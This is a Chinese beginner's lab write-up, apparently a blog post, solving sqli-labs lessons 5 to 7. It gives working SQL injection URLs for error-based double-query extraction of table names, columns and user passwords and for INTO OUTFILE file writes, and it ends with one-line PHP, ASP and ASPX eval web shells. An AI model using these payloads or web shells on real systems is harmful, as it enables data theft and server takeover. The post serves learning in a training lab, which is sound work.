小白日记 1day sqli-labs-master/less 5~7

在开始本次实验之前要说到常用的几个函数,

concat(str,str):这个函数的功能是将字符串拼接在一起。
在这里插入图片描述

rand():rand函数的功能是生成一个0~1之间的数。如下图
在这里插入图片描述

floor(数字):这个函数就是向下取整的一个函数,[x],例如1.2进行运算后会变成1。
在这里插入图片描述

count:这个函数能够返回匹配指定条件的函数。
在这里插入图片描述

Less 5 GET-Doouble injection-Single Quotes -String

打开初始界面如下图所示
在这里插入图片描述
按照注入流程,判断是哪种类型的注入,字符型还是数字型,那么要怎么做呢?
首先,我们输入?id=1没有进行报错,再此输入?id=1’这是我们发现报错了,再试试双引号,同样没有报错,所以可以判断存储在?id=1这个注入点,并且是数字型注入。接下来就需要构造语句了。
这时我们按照之前的union select 判断有多少列,可以得到有三列,但是之后的查询语句发现并不能返回任何结果。
在这里插入图片描述
在使用之前的extractvalue报错函数发现并不能通过此种方法来返回有效的信息。
那么,到这里就不得不说另一种报错注入的方法了,也就是标题所提示的双注入,那么他的原理也比较简单,我们要想尽办法让它出错,这里就用到了,floorrand函数,这两个函数在开始已经介绍完毕了,用这种方法嵌套在一起,floor(rand()*2),这样的话它将会得到两个值,0或者1,接着利用group by函数的特性,group by key理论上key的值是不会发生变化的,但是floor(rand()*2)是存在两个值的,group by key会循环读表中的每一行,如果表中没有的话,那就把其插入这个临时表,但是插入的时候又要去访问key以确定key的值,这时就有可能发生错误,同时达成我们的目的。
那么了解了原理,那就要开始构造了。

url+?id=0' union select count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a--+

挡把上边的语句输入后会发现报错,但这个报错是非常low的报错,不是我们需要的,这个就请读者自己改吧,很简单的,千万别当cv工程师,完了什么都不懂。
还有些时候,我们在输入构造的语句发现没有什么变化,这个是因为rand函数的随机性,多刷新几次就好了,成功的话会变成这样。
在这里插入图片描述
接着只需要在构造的语句中加入我们需要的查询语句就ok了。
就举个例子

url+?id=0' union select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2)) as a from information_schema.tables group by a --+

因为rand的随机特性所以要多试几次,根据我们的查询语句,我们可以得到这样的信息。
在这里插入图片描述
接下来爆列

url+?id=0' union select count(*),2,concat((select group_concat(column_name) from information_schema.columns where table_name='users'),floor(rand()*9)) as a from information_schema.tables group by a --+

看结果
在这里插入图片描述
最后一步了,爆值

url+?id=0' union select count(*),2,concat((select concat(':',username,':',password,':') from users limit 0,1),floor(rand()*9)) as a from information_schema.tables group by a --+

结果
在这里插入图片描述
通过更改limit 后的值就可以知道所有的值了

Less 6 GET-Double injection-Double Quotes -String

和上一题一样,这里就不演示了,就是换个引号的问题

Less 7 GET-Dump into outfile - String

通过测试,发现没有任何信息,但是可以获得一个提示信息。
在这里插入图片描述
这里构造之前需要做一个闭合,动手后发现需要两个括号。
outfile输出文件,查过相关的资料后发现,可以构造语句将数据库中的东西存储在文件中

url+?id=0')) union select 1,2,database() into outfile "C:\\wamp64\\tmp\\1.txt" lines terminated by '\r\n' --+ 

这样就可以搞到数据库名字了,但是这个路径是要和数据库中这个匹配的在这里插入图片描述
其他的也是一样的,就改改database()那里就好了。
在这里插入图片描述
获取表名:

url+?id=0')) union select 1,2,table_name from information_schema.tables where table_schema=database() "C:\\wamp64\\tmp\\2.txt" lines terminated by '\r\n' --+ 

在这里插入图片描述
获取列:

url+?id=0')) union select 1,2,column_name from information_schema.columns where table_name='users' into outfile "C:\\wamp64\\tmp\\3.txt" lines terminated by '\r\n' --+

在这里插入图片描述
最后获取信息:

url+?id=0')) union select id,username,password from users into outfile "C:\\wamp64\\tmp\\4.txt" lines terminated by '\r\n' --+

在这里插入图片描述
这道题其实应该用另一个方法,一句话木马。
php

<?php @eval($_POST['pass']);?>

asp

<%eval request ("pass")%>

aspx

<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

后边有时间再搞一次吧

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值